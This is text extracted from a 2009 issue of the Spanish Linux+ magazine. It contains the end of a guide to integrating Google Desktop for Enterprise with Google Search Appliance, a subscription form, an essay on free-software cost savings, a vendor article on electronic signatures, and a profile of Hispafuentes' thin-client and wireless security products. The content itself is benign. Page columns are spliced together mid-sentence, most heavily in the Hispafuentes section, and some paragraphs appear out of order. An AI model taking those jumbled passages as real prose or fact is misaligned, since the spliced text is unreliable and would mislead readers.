plano, con lo que si recibe un mail, en unos instantes después, tendrá la posibilidad de poder buscarlo. En cambio, en la versión empresarial, éste necesita ser configurado para trabajas con Google Search Appliance, así como éste último para trabajar con el primero. ¿Cómo podemos hacer para que GdfE pueda funcionar con GSA? Google Desktop para empresas permite llevar a cabo una configuración individual en los equipos para que pueda comunicarse correctamente con Google Search Appliance y de este modo poder insertar los resultados obtenidos en los resultados obtenidos mediante GSA. La configuración para que esto ocurra sería la siguiente. Vamos al menú Inicio, Ejecutar e introducimos el comando: gpedit.msc. En la parte izquierda de la consola de administración, hacemos clic con el botón derecho del ratón en el elemento Plantillas administrativas, en Configuración del usuario, y seleccionaremos la opción Agregar o quitar plantillas. Una vez aquí agregaremos GoogleDesktopSearch.adm que se ha extraído del zip obtenido al descargar GDfE. Ahora tenemos que configurar las políticas para que los resultados de GDfE aparezcan en los resultados de GSA. Para ello, en la misma parte izquierda del editor de políticas de grupo vamos a Integración de empresas donde haremos doble clic sobre Google Search Appliances y lo habilitamos, poniendo el nombre del host de GSA, como por ejemplo gsaLinux.google.com Nuestro último paso sería configurar las políticas de GDfE para poder añadir una pestaña de la aplicación a las principales páginas de resultados de Google y Desktop. Vamos al menu anterior de configuración de usuario y seleccionamos la pestaña de busqueda para empresa dentro del apartado de Integración para empresas, lo habilitamos y le damos un nombre. Introducimos la URL de la página principal de búsqueda de Google Search Appliance como por ejemplo: http://gsaLinux.google.com/search? site=default_collection&client=integrated_ frontend&proxystylesheet=integrated_frontend& output=xml_no_dtd&proxycustom=<HOME/> Y una vez realizado esto tendríamos Google Desktop para empresas (GdfE) complemente funcionando en nuestro sistema junto con Google Search Appliance. Google Desktop para empresas (GDfE)es una aplicación de búsqueda ubicada en el escritorio que permite a los usuarios encontrar un determinado texto deseado. Controlando de esta forma la cantidad de información albergada dentro de los equipos y que incluye funciones de administración que mejoran la seguridad y permiten una configuración de forma centralizada. Permite encontrar dicha información en mensajes de correo electrónico (Outlook, IBM Lotus Notes, Outlook Express, Netscape Mail, Mozilla Mail y Thunderbird), archivos de Word, Excel, PowerPoint, PDF, MP3, de imagen, audio y vídeo, música, video, fotos, chats (Chats de AOL y AOL Instant Messenger) y páginas web (Internet Explorer, Netscape, Mozilla o Firefox) que han sido visitadas con anterioridad en el mismo ordenador que ha sido instalada la aplicación. Una vez realizada la instalación de Google Desktop, en la versión estandar la aplicación crea un índice de todo el contenido que ha selec- Conclusión cionado para que posteriormente pueda consul- Imagina una carrera de coches a muerte, junto tarlo como si lo hiciese desde la misma web de a un desfiladero (digamos desfiladero porque si Google.com fuese en la carreta F-51 de Torrepacheco la cosa 36 Linux+ 5/2009 pierde emoción), donde se encuentran dos vehículos preparados para tomar la salida. Uno es un flamante deportivo azul con una pegatina blanca en la luna trasera que pone Thunderstone y el otro es un Renault color amarillo con una banderita en la antena que pone Google. El piloto del primero coche preparó a conciencia la competición, aligerando al máximo el vehículo, deshaciéndose de los sillones, la rapacería, el equipo de música, etc, dejando sola la estructura, las cuatro ruedas y el volante. Con ello consiguió que pudiese alcanzar los 300 kilometros por hora. Por otro lado, el piloto del Renault amarillo, con su equipamiento de serie, sólo llegaría a los 200 kilometros por hora. Aun así, el se sentía seguro, con su GPS, su mejor disco sonando por los altavoces, su bote de refresco en el posa vasos, su elevalunas eléctrico, cierre centralizado y un equipo de gente dispuesta a colaborar desinteresadamente en caso de rotura, abandono o mejora tecnológica. Supongo que ya todos sabemos o podemos imaginar, quién sería el ganador de la carrera y cuál caería por el desfiladero provocando una tremenda explosión. No creo que haga falta comentar que el ganador recuperó a la chica, volvió a su trabajo y acabo casándose en una antigua iglesia de la vieja Italia. Es cierto y con esto quiero concluir, que en ocasiones la velocidad no es todo, también hay que ver el apoyo que tenemos detrás, la comunidad de desarrolladores que trabajan para aumentar las funcionalidades del producto, la seguridad y las posibilidades de configuración que tiene para adaptarlo a nuestra empresa. Google Search Appliance, a pesar de ser un producto aparentemente caro, rentabiliza gratamente la inversión. Y recuerda, las buenas cosas llegan en cajas amarillas. Conducid con cuidado. Sobre el autor Miguel Sempere es un estudiante de último curso de Ingeniería Informática Superior de la Universidad de Alicante, gran aficionado a Linux desde que hace ya siete años cayó en sus manos la distribución Lycoris. Que por cierto no pudo instalar. Actualmente colabora con el departamento de Física, Ingeniería de Sistemas y Teoría de la Señal en el grupo Automática, Robótica y Visión Artificial (Aurova) donde trabaja con el robot humanoide Robonova para el campeonato de robots Ceabot, organizado por el Comité Español de Automática. Podeis contactar con él a través de la siguiente dirección: miguel.sempere.sanch [email protected] Pedido de suscripción Por favor, rellena este cupón y mándalo por fax: +31 (0) 36 540 72 52 o por correo: EMD The Netherlands – Belgium, P.O. Box 30157, 1303 AC Almere, The Netherlands; e-mail: [email protected] Nombre(s) ................................................................................................... Apellido(s) .................................................................................................. Dirección .............................................................................................................................................................................................................................. C.P. .............................................................................................................. Población .................................................................................................... Teléfono ..................................................................................................... Fax ............................................................................................................... Suscripción a partir del No ................................................................................................................................................................................................... e-mail (para poder recibir la factura) .................................................................................................................................................................................. o Renovación automática de la suscripción Título número de ejemplares al año Linux+DVD (1 DVD) Mensual con un DVD dedicado a Linux número de suscripciones a partir del número 12 69 € En total Realizo el pago con: □ tarjeta de crédito (EuroCard/MasterCard/Visa/American Express) nO Válida hasta □ transferencia bancaria a ABN AMRO Bank, Randstad 2025, 1314 BB ALMERE, The Netherlands Número de la cuenta bancaria: 59.49.12.075 IBAN: NL14ABNA0594912075 código SWIFT del banco (BIC): ABNANL2A Fecha y firma obligatorias: Precio CVC Code soluciones para empresas Reducción de costes de software en la empresa gracias al Software Libre, ¿un mito? Reducción de costes de software en la empresa gracias al Software Libre, ¿un mito? Yaiza Temprado Rodríguez [email protected] En los últimos años, los proyectos de software libre han abandonado el entorno universitario y se han ido introduciendo paulatinamente en el mundo empresarial. Sin embargo, aún hay muchas empresas que, o bien por desconocimiento o por recelo, aún no se han atrevido a dar “el salto”. E n este artículo se analiza la situación actual del software libre en las empresas y su nivel de implantación, así como los pros y los contras que supone para una empresa migrar sus sistemas a software libre. ¿Por qué ahora? Hasta hace muy poco tiempo, el software libre no dejaba de ser en las empresas una presencia casi anecdótica: la ausencia de software profesional de calidad, la falta de compatibilidad con programas propietarios que se han convertido en estándares de facto o la falta de soporte por parte de empresas especializadas en administrar sistemas basados en software libre, limitaron durante mucho tiempo la expansión de éste en el entorno empresarial. Sin embargo, estas limitaciones, así como otras no menos importantes como la facilidad de instalación y uso, han ido desapareciendo hasta llegar al momento en el que nos encontramos ahora, cuando el software libre es por fin una alternativa real al software propietario, con una oferta amplia de herramientas de alta calidad, fáciles de usar y totalmente compatibles. Sin embargo, esto no es algo completamente nuevo: el software libre lleva ya algunos años cumpliendo sobradamente con 38 Linux+ 5/2009 lo que se espera de él y mucho más, sin embargo ha sido en los últimos meses cuando muchas empresas han empezando a plantearse seriamente migrar sus sistemas de forma completa (o casi completa) a alternativas basadas en software libre. Este hecho no resulta sorprendente, sobre todo si tenemos en cuenta que en el último año la crisis económica que se está viviendo a nivel global está afectando especialmente a empresas pequeñas y medianas, así como a trabajadores por cuenta propia. Por eso, en muchos casos el dinero disponible es escaso, y son muchas las personas y empresas que se plantean si el dinero dedicado a patentes de software no estaría mejor invertido en otros recursos. Pros Cuando la gente piensa en las ventajas del software libre, la primera que nos viene a la cabeza es que excepto raras excepciones, se trata de software gratuito. Aunque esta no es la única ventaja (más adelante veremos otras), sí que es seguramente la que puede tener un efecto más evidente sobre la economía de una empresa. Aunque las copias ilegales de software propietario hacen que mucha gente ni siquiera sea consciente del coste real del software que utiliza, la realidad es que el software básico para un ordenador suma un precio desorbitado, como podrá soluciones para empresas Reducción de costes de software en la empresa gracias al Software Libre, ¿un mito? durante cierto tiempo, pero finalmente se quedará obsoleto y tendremos que migrar la contabilidad a otro programa, con la consiguiente pérdida de dinero, tiempo y con la potencial pérdida de información y aparición de errores. Si nuestro programa X hubiera sido software libre, ésto no habría pasado: incluso en el caso de que todos los desarolladores decidieran abandonar el proyecto, siempre podemos retomarlo nosotros o pagar a personas para que lo hagan. No dependemos de ninguna empresa más que de la nuestra, que es de lo que se trata. Contras verse detalladamente más adelante. Otro de los beneficios del software libre es que permitirá a nuestra empresa mejorar, ampliar y adaptar el software a nuestras necesidades, sin depender de que los responsables de ese software dedican que determinada mejora es digna de su tiempo. Simplemente, cogemos el código fuente y lo modificamos como nos convenga o corrigiendo errores que, por lo que sea, aún no se hayan solucionado. En este punto, eso sí, tenemos que tener cuidado: dependiendo de la licencia que tenga el software libre que estamos adaptando, puede que estemos obligados a liberar los cambios para que otros usuarios puedan aprovecharse de ellos (el caso más famoso es el de la licencia GPL). Otra ventaja importante que muchas veces pasa desapercibida, es la seguridad que nos proporciona el software libre: por ejemplo, si nuestra empresa maneja datos confidenciales y muy sensibles (datos de clientes, de productos, ideas para proyectos, etc), ¿podemos estar cien por cien seguros de que ese software privativo, cuyo código jamás hemos visto, no tiene debilidades o puertas traseras que puedan dar acceso a nuestros datos a terceros? Esta ventaja no es trivial. El software libre puede ser auditado (línea por línea si hace falta) de forma que quede la más mínima duda de que es seguro para nuestros datos, mientras que el software privativo no deja de ser una caja negra a la que le estamos confiando nuestro datos sin ninguna garantía. Seguimos con las ventajas, y es que no debemos olvidar que el software libre, como ya hemos dicho, nos permite que seamos nosotros mismos los que modifiquemos y adaptemos el software o, si no tenemos los conocimientos necesarios o los recursos, que contratemos a otra persona que lo haga en nuestro lugar. Y esta persona puede ser cualquiera que nosotros elijamos, sin estar atados a los desarrolladores de una empresa en particular. El verdadero potencial de algo tan aparentemente obvio se puede ver en el siguiente ejemplo: supongamos que decidimos montar una empresa, y en estos momentos el programa por excelencia para llevar la contabilidad es el llamado X, software cerrado propiedad de la empresa Y. Una vez montada nuestra empresa, toda la contabilidad al día en el programa X, etc. la empresa Y decide abandonar el desarrollo de ese software (o, aún peor, la empresa Y quiebra). ¿Qué podemos hacer en esta situación? ¿Cómo enfrentarse a ella? Podremos sobrevivir con el software X congelado Tabla 1. Precios de las licencias del software más popular Software común a todos los ordenadores: Windows Vista 149 euros (x50) Microsoft Office 399 euros (x50) Software específico de los financieros: Sage SP 466,75 euros (x5) Software específico de los diseñadores gráficos: Macromedia Studio 2.202,84 euros (x10) Software específico de los programadores en C++: Visual Studio 2005 799 euros (x15) Rational Rose 5.456,65 euros (x15) Software de los jefes: Microsoft Project 1.230,08 euros (x7) www.lpmagazine.org Por supuesto, y por mucho que estemos deseosos de migrar nuestra empresa y empezar a ahorrar dinero, no debemor perder de vista tampoco que hay una serie de cosas a tener en cuenta antes de decidirnos, de cara a detectar posibles problemas y no arrepentirnos a medio camino. ¡Eso sí que sería una pérdida de dinero! Lo primero que tendremos que hacer, antes de comenzar la migración, será hacer un análisis del software que necesitamos a nuestra empresa y localizar software libre de similares características. En muchos casos, esta equivalencia será muy sencilla (paquetes ofimáticos, correo, navegador, mensajería instantánea...), pero en el caso de software más especializado es importante saber exactamente qué necesitamos, ya que dificilmente encontraremos herramientas con la misma funcionalidad, sino que tendremos que renunciar a determinadas opciones y, seguramente acostumbrarnos a otras nuevas. Este es, sin duda, uno de los puntos cruciales. Por ejemplo, muchas empresas dedicadas a diseño a las que les gustaría migrar sus sistemas se encuentran con la limitación de que el Autocad no existen en GNU/Linux (aunque sí que existen alternativas comerciales muy pontentes, como el Pro/Engineer que, eso sí, no es libre). Algunas empresas decidirán, llegados a este punto, que la migración no es posible. Más adelante se explicarán alternativas para este problema. Uno de los gastos que nos producirá la migración de nuestros sistemas es la que supone la formación de los empleados. Este es un punto al que raramente se le da la importancia que merece, pero que no debe despreciarse: si tenemos trabajadores que han estado usando el mismo entorno y las mismas herramientas durante años, y decidimos de la noche a la mañana modificar ambas cosas por completo sin formarles para adaptarse al cambio, lo primero que lograremos son empleados descontentos; y lo segundo, una disminución muy importante en el nivel de productividad de la mayoría de ellos. Es por ello que es importante separar una partida de presupuesto para preparar a los trabajadores y que el cambio 39 soluciones para empresas Reducción de costes de software en la empresa gracias al Software Libre, ¿un mito? Figura 2. Porcentaje de uso de software libre en entornos empresariales suponga una reducción lo menor posible de la productividad. No obstante, y por buena que sea la formación recibida, debemos estar preparados para que la época inmediatamente posterior al cambio los empleados trabajen a un ritmo algo menor al acostumbrado. Aunque el aspecto y facilidad de uso de las herramientas y sistemas operativos libres ha mejorado espectacularmente en los últimos años, aún queda camino por recorrer, y existen algunos programas que serán difíciles de instalar para aquellos usuarios sin experiencia en este tipo de sistemas, así como la configuración de determinados dispositivos y algún detalle más. Seguramente, durante la migración requeriremos la contratación de personal de sistemas que ayude a dejar los equipos listos y configurados, y resuelva los problemas que, seguro, irán surgiendo en el transcurso de la migración e inmediatamente después. ¿Realmente nuestra empresa ahorrará dinero? Visto lo visto, está claro que la migración de nuestros sistemas a software libre (de igual forma que cualquier otro cambio estructural de cierta magnitud) lleva asociado un coste extra que no tendríamos con el sistema que tengamos en la actualidad. Sin embargo, ¿cuánto tiempo tardaremos en rentabilizar esa inversión? Supongamos una empresa mediana de desarrollo software, con 50 puestos de trabajo, todos ellos con ordenador. Cinco de ellos pertenecen a Recursos Humanos, otros cinco al departamento comercial, otros cinco a financiero, tres a administración de sistemas, siete a los jefes de proyectos y 25 a desarrollo, de los cuales diez se centran en diseño gráfico y quince en programación en C++. Vamos a suponer, por ser el caso común a la mayoría de las empresas, que los administradores de sistemas se basan en software libre, así que no vamos a tener en cuenta las posibles licencias que puedan tener en sus ordenadores. Dada esta situación, hagamos cálculos: (ver Tabla 1). 40 A esa bonita cifra de dinero en licencias tenemos que sumarle el hecho de que ese software se quedará obsoleto en poco tiempo, lo que nos supondrá una reinversión de aproximadamente el 30% cada dos años. Por otro lado, tenemos que sumar también el gasto que nos supone en administración de sistemas: los servidores basados en GNU/Linux han demostrado una y otra vez ser más estables y requerir menos mantenimiento que sistemas basados en Windows, lo que limita al máximo la contratación de administradores 24x7, que son sin duda los más costosos. Además, la imposibilidad de los usuarios de instalarse programas, introducir virus en sus ordenadores o tocar ficheros fuera del directorio que tienen asignado, ahorrará una enorme cantidad de tiempo en administración, lo que también supone un ahorro importante. Cómo migrar nuestra empresa. Posibles problemas Lo primero que tenemos que tener en cuenta es que el ser humano tiende a la comodidad por encima de todo, es una realidad. Cuando los empleados de una empresa llevan 10 años trabajando con determinadas herramientas, cualquier cambio, por pequeño que sea, chocará contra la desconfianza, el desconcierto o el abierto desprecio. Es por ello que debemos ser capaces de guiar a nuestros empleados a través del cambio que se avecina de forma gradual y proporcionándoles la formación adecuada para trabajar en el nuevo entorno. No es mala idea plantearse la migración en épocas en las que el nivel de trabajo sea lo menor posible (por ejemplo, durante el verano o justo después de él), ya que los trabajadores tendrán más tiempo para investigar y amoldarse, disminuyendo el stress que les puede causar tener que hacer una tarea urgente y encontrarse con que no tienen el programa que siempre han usado para realizarla... Otra buena idea es realizar la migración en dos pasos: primero, mantener los puestos con Linux+ 5/2009 Windows, pero instalando el software libre que tenemos idea de que terminen usando en GNU/ Linux (Openoffice, Thunderbird, Firefox...) y, una vez que haya pasado un tiempo razonable y los empleados se encuentren cómodos con estas herramientas, realizar la segunda parte de la migración, cambiando el sistema operativo. Sin embargo, y a pesar de todas las ventajas del software libre, conviene no ser excesivamente radicales al respecto: es posible que algunos de nuestros empleados definitivamente necesiten herramientas que sólo se pueden usar en Windows y cuya alternativa para Linux no cumpla las espectactivas. En ese caso, mejor que empeñarse en eliminar Windows por completo de nuestra empresa, conviene ceder en pro de la productividad de nuestros trabajadores: un sistema de arranque dual, en el que el empleado pueda arrancar Windows cuando necesite utilizar la herramienta problemática y Linux para todo lo demás, o la utilización de programas de emulación como Wine, que permite instalar aplicaciones de Windows bajo Linux, pueden ser la solución más acertada. Conclusiones La migración de una empresa de un sistema de software propietario a uno completamente libre es complicada, sin duda, por lo que se debe estudiar la situación con cuidado y minimizando en lo posible el impacto sobre los trabajadores. Sin embargo, las múltiples ventajas a medio plazo (y el importante ahorro económico a largo plazo), así como la libertad de no depender de ninguna empresa para gestionar y desarrollar el software que utilizamos, hace que sin duda ese esfuerzo merezca la pena. Sin embargo, no debemos perder de vista que estamos hablando de una empresa, y como tal lo que buscamos sobre todo es que la productividad y la satisfacción de los trabajadores sean lo más altas posibles, por lo que plantearse como alternativa soluciones mixtas en nuestra empresa (con algunos puestos con Windows y otros con Linux, o algunos con programas de Windows instalados sobre Wine) puede ser la solución cómoda y funcional que estamos buscando. Sobre la autora Yaiza Temprado Rodríguez (ytr@moviquity. com) es Ingeniero Superior en Informática y actualmente realiza su doctorado en la Universidad Carlos III de Madrid. Además de trabajar para Telefónica I+D como experta en Data Mining, imparte clases de Aprendizaje Automático en la Universidad Europea de Madrid. Es además administradora de la página www.chicaslinux.org. soluciones para empresas La firma electrónica La Firma electrónica y sus aplicaciones en la actualidad [email protected] Existen en este momento en el mundo gran cantidad de libros, webs y jornadas informativas en donde se habla de la Firma electrónica y la revolución documental que trae consigo y que llega como un tsunami. A ctualmente, la firma manuscrita en un papel es equiparable legalmente a la firma electrónica en un documento (fichero de cualquier índole y formato), permitiendo que personas estampen su firma sin necesidad de estar ubicadas en el mismo espacio físico, con plena identificación de los firmantes, con control formidable de que el documento es el mismo y no ha variado, e incluso con sellado de tiempo. Cuando hablamos de un documento, en realidad nos referimos igualmente a un fichero electrónico, ya que lo mismo se puede firmar una película, una aplicación, contrato, historial médico que un currículo, informe financiero, código fuente y logs de servidor o backups de empresa, tanto si se almacenan como si se transportan llevan la seguridad embebida en ellos. ¿Firmarías una mejora para tu empresa? Disponer de capacidad de firmar ficheros electrónicamente evitará millones de impresiones de papel innecesarias, por lo que podemos afirmar que el resultado de la generalización de la firma electrónica traerá un impacto ambiental positivo de incalculable valor. 42 Linux+ 5/2009 En todo el mundo existe un movimiento emergente muy potente que se orienta en distintas líneas: • Mejora de la seguridad (Autenticación, Integridad, Confidencialidad) • Mejora de procesos, eficacia documental, trazabilidad, ahorro de papel e incluso voto electrónico, facilidad para el almacenamiento y búsqueda de información y mejor transporte. Organismos europeos como el ETSI empujan con una gran fuerza la interoperabilidad de formatos en toda Europa, de modo que los ciudadanos, gobiernos y empresas puedan manejar aplicaciones distintas pero todas ellas basándose en estándares. Estandarización en cuanto a formatos (CAdES, PDF, XAdES, ODF), en cuanto a algoritmos de cifrado que están en la base de la firma electrónica y en relación a certificados digitales creados por Infraestructuras de clave pública (PKI). Todo ello fácilmente utilizable y apto para el ciudadano y mundo empresarial. Estas consideraciones están en la base de todos los productos que ha desarrollado KSI Suguridad Digital para los soluciones para empresas La firma electrónica una electrónica no llega a los 2,5, hay razones también económicas para zambullirse con ilusión en este proceso donde también la reducción de papel y mejora de la seguridad deben ser valorados. En pro de la eficiencia entornos Linux y Windows y que podríamos resumir en: • Explorador ESecure – Firma y cifrado (Win), • ecoFactura Escritorio– Facturación electrónica (Win), • ecoAsesoría –Firma, envío y publicación de información firmada (Win), • Plataforma web de Firma y eFactura (Linux y Windows), • API de firma y cifrado (Linux y Windows). El universo de la firma electrónica y cifrado tiene plena aplicación en la mejora de la seguridad documental, facilitando el cumplimiento de normas legales como la LOPD, y otras de rango europeo y mundial para entornos médicos y alimentarios. La administración española está siendo punta de lanza con EEUU en la expansión de estos procesos. Proyectos como el del DNI electrónico, la Ley de Firma electrónica y la normativa de Facturación electrónica han creado un contexto en el que cualquier profesional o empresa avanzada no puede quedarse atrás. Si la gestión de una factura en papel se calcula en torno a los 8 euros mientras que KSI Seguridad Digital aporta productos capaces de incorporar la firma digital y cifrado de la información a cualquier tipo de documento, no importando si el documento es un archivo PDF, XML, fotografía, plano, copia de seguridad o factura. Uno de los productos más demandados es la Librería de Seguridad de KSI para desarrolladores que aporta todos los estándares necesarios para la utilización de distintos tipos de cifrado en las aplicaciones (Simétrico y Asimétrico). Aporta todas las capacidades de Firma electrónica que hoy día necesitamos incorporar a sistemas de documentación, de contabilidad e informes, de nóminas y trabajo en grupo, de almacenamiento seguro. Así como aquellos orientados a cumplir normativas legales como CFR 21, HIPAA, GAMP4, LOPD, LFE, y aquellas normativas orientadas a implantar la Factura electrónica en Europa siguiendo recomendaciones de la CEE y estándares de organizaciones como ETSI (European Telecommunications Standards Institute). Las empresas interesadas en este producto proceden de muchos países, remarcable Hispanoamérica, y tienen sectores de negocio muy diferenciados, siendo en unos casos empresas de desarrollo que ofrecen a sus clientes soluciones con la firma digital incorporada o bien empresas que desarrollan para sí mismas estas soluciones. (Se puede ver más información en http://www.ksitdigital.com/ productos/api/). www.lpmagazine.org Otro producto que ha creado una gran expectación es ecoPFN. Comprende la fusión del famoso PFN (PHP File Navigator) y la tecnología de firma y cifrado de KSI Seguridad Digital. De esta unión nace un producto con la capacidad de gestión de la información y con la potencia de la firma y el cifrado. Basada en tecnología MySQL, Apache y PHP esta plataforma es capaz de gestionar múltiples usuarios, con control por raíces y grupos, a ella se puede acceder mediante usuario/ contraseña o bien mediante certificado digital. Es posible el firmar lotes de ficheros y enviarlos por Email a sus destinatarios además de dejar la información en la zona privada del usuario. La trazabilidad de las acciones es un importante elemento de control para saber si un usuario ha accedido a la información. Este producto está enlazado con los productos de KSI dirigidos a la facturación electrónica (ecoFactura) y gestión de información para asesorías (ecoAsesoría), permitiendo que estos productos sean capaz de procesar facturas, documentos fiscales (IVA, IRPF, Certificados) o laborales (Nóminas, Finiquitos, Certificados, TC2) y enviarlos a la plataforma estando accesibles para los usuarios. Estos productos, ecoFactura y ecoAsesoría, en este momento sólo funcionan en Windows. Más información en: http://www.ksitdigital. com/productos/otros-productos/ Casos de éxito Podemos contar experiencias de muchos tipos de clientes diferentes y entornos muy distintos. Desde un cliente que emite 10 facturas al mes y emite facturación electrónica con nuestros productos como la Mancomunidad de Aguas de Pamplona que emite cerca de 40000 facturas al mes. En otros sectores diferentes a la factura electrónica como el de los ingenieros, ha supuesto un descubrimiento nuestra capacidad de firma de cualquier documento, dado que no deben pasar a PDF el plano que desean firmar y asegurar. Asimismo, queremos hacer mención especial al ámbito de la asesoría de empresas, concretamente a Pyramide Asesores, ubicada en Navarra, que implantaron el producto ecoAsesoría ayudando de forma activa a que la herramienta mejore cada día. Esta empresa ha pasado de tener cuatro días de trabajo ocupada a una persona en la gestión de los envíos por correo postal, a realizar el mismo trabajo en un par de horas. No sólo han asegurado su información, también han mejorado sus procesos y la eficiencia. 43 soluciones para empresas Hispafuentes: una alternativa libre en la seguridad Hispafuentes: una alternativa libre en la seguridad [email protected] Hispafuentes, fundada en el año 1999, es una empresa dedicada al desarrollo de productos y servicios del mundo Linux y Software Libre en general, migraciones de entornos propietarios a entornos Open Source, virtualización y soluciones de seguridad, incluyendo, entre otras tecnologías certificados de clave pública. 44 E ntre los proyectos realizados a lo largo de su dilatada LDAP Corporativo trayectoria, cabe reseñar los siguientes: El Servicio de Salud de Castilla y León (SaCyl) tiene implementado una solución aportada por Hispafuentes donde Molinux un único directorio con ramas de lectura o lectura-escritura La Junta de Comunidades de Castilla-La Mancha elaboró un dependiendo de la ubicación, mantiene la validación de la plan y puso en marcha allá por el año 2004 una iniciativa des- conexión junto a los atributos de uso y paso a servicios tinada a eliminar las barreras en el acceso a la informática y a y aplicaciones en el área sanitaria de la Comunidad. las tecnologías de la información de los ciudadanos mediante la distribución gratuita de Software Libre. Molinux, es una Cliente ligero iniciativa con la que el Gobierno regional da un paso más El poder contar con un sistema que no requiere mantenimienhacia la extensión de las Nuevas Tecnologías, en este caso to ni licenciamiento y su reposición por desastre no obliga a impulsando de forma decidida su democratización al poner a ninguna personalización, que al abandonar o cerrar la sesión disposición de ciudadanos y empresas un completo paquete no hay traza ni rastro en local y que permite trabajar con informático a coste cero. sistema operativos mínimos siendo los servicios prestados de modo corporativo, está afianzando cada día con mayor roForja de desarrollo tundidad la ventaja de uso de los Thin PC. El resultado apreEl Servicio de Salud de Castilla la Mancha (SESCAM) ciable de estas características conlleva una alta simplicidad, ha creado el Centro de Innovación en tecnología de la in- un coste reducido, una seguridad alta y brinda disponibilidad formación asociado a la Forja de desarrollos en software permanente. Además, gracias al abaratamiento y a la mejora de código libre denominado “Forja de Desarrollo de Soft- del ancho de banda de las comunicaciones, nos ha permitido ware”, utilizando la plataforma colaborativa GFORGE. probar estas soluciones con éxito en entornos tan dispares Dicho desarrollo se ha llevado a cabo con la colaboración como educación, negocios, banca, ocio, etc. profesional de Hispafuentes. El objetivo es disponer de una plataforma de trabajo colaborativa a través de la cual Inicialización del sistema operativo se pueda llevar a cabo la gestión de los diferente proyec- El terminal ligero deberá ser capaz de cargar un sistema opetos de software desarrollados en la unidad de I+D+i de rativo mínimo que le permita conectarse con el servidor, este SESCAM. arranque efectuarse de las siguientes maneras: Linux+ 5/2009 soluciones para empresas Hispafuentes: una alternativa libre en la seguridad • PXE: La tarjeta de red del cliente ligero debe de estar preparada para permitir que el sistema operativo sea descargado desde un servidor. El cliente ligero además de tomar su dirección IP desde el servidor DHCP, toma la dirección del servidor que le va a suministrar el sistema operativo a utilizar. De esta manera, se pueden tener clientes ligeros que no precisen de ningún tipo de unidad de almacenamiento. • Compact Flash: Existen clientes ligeros que en lugar de tener discos duros tienen soporte para tarjetas compact flash, así es posible cargar el sistema operativo del cliente ligero en una compact flash y arrancar desde allí. En ciertos aspectos el funcionamiento de una compact flash es muy similar al de un disco duro IDE, de hecho, son muy baratos los adaptadores compactflash/IDE, los cuales permiten reutilizar el interfaz IDE de un ordenador y utilizar en su lugar una compact flash. La ventaja de utilizar el arranque mediante este sistema es que es si es necesario personalizar el sistema operativo, suele ser más sencillo duplicar en instalar compact flash que disco duro. • Floppy: El sistema operativo arranca desde un floppy. Realmente en la actualidad no hay ningún sistema operativo de clientes ligeros que pueda arrancar completamente desde un floppy, sino que se arranca un cargador que continúa con la carga del sis- Figura 2. Gestión del servidor de autenticación tema operativo0 que se encuentra en otro dispositivo de almacenamiento. • Disco duro: El sistema operativo puede arrancar desde el disco duro del cliente ligero si está disponible. • USB: Si la BIOS del cliente ligero permite el arranque desde dispositivos USB, es posible utilizar memorias USB para la carga del sistema operativo. • CDROM: El sistema operativo se encuentra en el equivalente de una distribución live. Probablemente lo más adecuado para un entorno LAN sea el arranque mediante PXE, dado que esto permite identificar a cada terminal ligero (mediante el MAC de su tarjeta de red), y en función de esta, personalizar su arranque y su configuración de una manera centralizada. Este escenario (LAN y arranque mediante PXE) es el ideal siempre que bien se esté planeando la adquisición de equipos que vayan a trabajar como clientes ligeros, o si los equipos que disponemos disponen de la posibilidad de arranque mediante PXE. Si esto no es así, habrá que pensar en la adquisición de nuevas tarjetas de red para los clientes que lo necesiten, bien en la utilización de uno de los otros métodos de arranque descritos. En cuanto a la WAN, no es posible utilizar el arranque mediante PXE dado que la configuración de red de la máquina remota no es obtenida utilizando el servidor DHCP local, por lo tanto se deberá utilizar para los terminales remotos alguno de los otros métodos de arranque. El departamento de seguridad de Hispafuentes esta en condiciones de brindar a sus clientes soluciones personalizadas a un coste competitivo dentro del ámbito de los PC ligeros y de su conectividad central en unos plazos óptimos. SEREDINA Es sabido (o al menos debería serlo) que la seguridad de las conexiones inalámbricas, en muchos casos es, cuando menos, precaria. Hay limitaciones contra las que poco podemos hacer más allá que pedir que no ocurran, dado que al tratarse de un medio de transmisión Open Source, Figura 1. Esquema topología LAN + WAN www.lpmagazine.org 45 soluciones para empresas Hispafuentes: una alternativa libre en la seguridad esa información queda inaccesible evitando fuga de información y ayudando a cumplir la LOPD. Desde Hispafuentes, pensando en facilitar la configuración y puesta en marcha de redes inalámbricas seguras, se ha acometido el desarrollo de SEREDINA. SEREDINA (Securización de Redes Inalámbricas) es un punto de acceso inalámbrico el cual, partiendo de la conocida y exitosa plataforma OpenWrt (http:// www.openwrt.org) , incorpora y gestiona las siguientes funcionalidades utilizando software open source. • Soporte para autenticación mediante 802.1x, utilizando distintos protocolos de autenticación EAP (EAP – PEAP, EAP – TLS y EAP – TTLS). • Servidor de autenticación incorporado freeradius. Figura 3. Gestión de la Autoridad de Certificación puede haber determinadas sources que estén interfiriendo con nuestra transmisión ... generalmente en forma de interferencias. Por si esto fuera poco, la naturaleza del medio hace que el conectarse al mismo y comenzar a recibir no requiera estar físicamente en las instalaciones o en el domicilio o en las instalaciones donde se alojan los equipos conectados a la red. Precisamente esa es una de las características buscadas en las redes inalámbricas, pero desde el punto de vista de la seguridad esto no es nada bueno. Desde el punto de vista legal, donde existen actualmente grandes lagunas, podemos hacernos la siguiente pregunta: ¿Quién es el responsable final si desde una red inalámbrica que ha sido vulnerada se lleva a cabo una acción delictiva?, ¿es el usuario final (domestico o empresa) que alquila el servicio?, ¿es el proveedor de comunicaciones que nos brinda la infraestructura?. Por otra parte, apoyándonos en la transparencia de la solución, hemos desarrollado una solución escalable que utiliza el certificado de paso al punto de conexión inalámbrico como un certificado adicional de uso para acceso a información sensible de la compañía, permitiendo en nuestra oficina acceder a esa información e incluso descargarla en nuestro equipo personal, pero fuera de la oficina Figura 4. Gestión de usuarios 46 Linux+ 5/2009 Seguridad en nuestras manos El contar con una herramienta centralizada de seguridad perimetral es el deseo de cualquier técnico de seguridad, administrador de red, auditor, responsable de seguridad,etc. Sondeando a estos profesionales sobre sus experiencias nos cuentan que tiene que tener su herramienta de seguridad ideal. • Normalice, agrupe y priorice los eventos, pudiendo tratar los eventos en tiempo real al pasar de infinidad de líneas de log a un número manejable. • Correlacionar los eventos por medio de patrones y directivas, evitando los falsos positivos. • Consola única de gestión con entorno ejecutivo, informes, ticket, estado, trazabilidad de los eventos, asignaciones, etc. • Personalización, filtrado, gestión del riesgos, lógicas de negocio, posibilidad de aplicar distintos niveles de seguridad por segmento según nos convenga. • Que no tengamos una caja negra donde no se sepa que se ejecuta ni como. • Poder crecer, desplegar y distribuir manteniendo lo 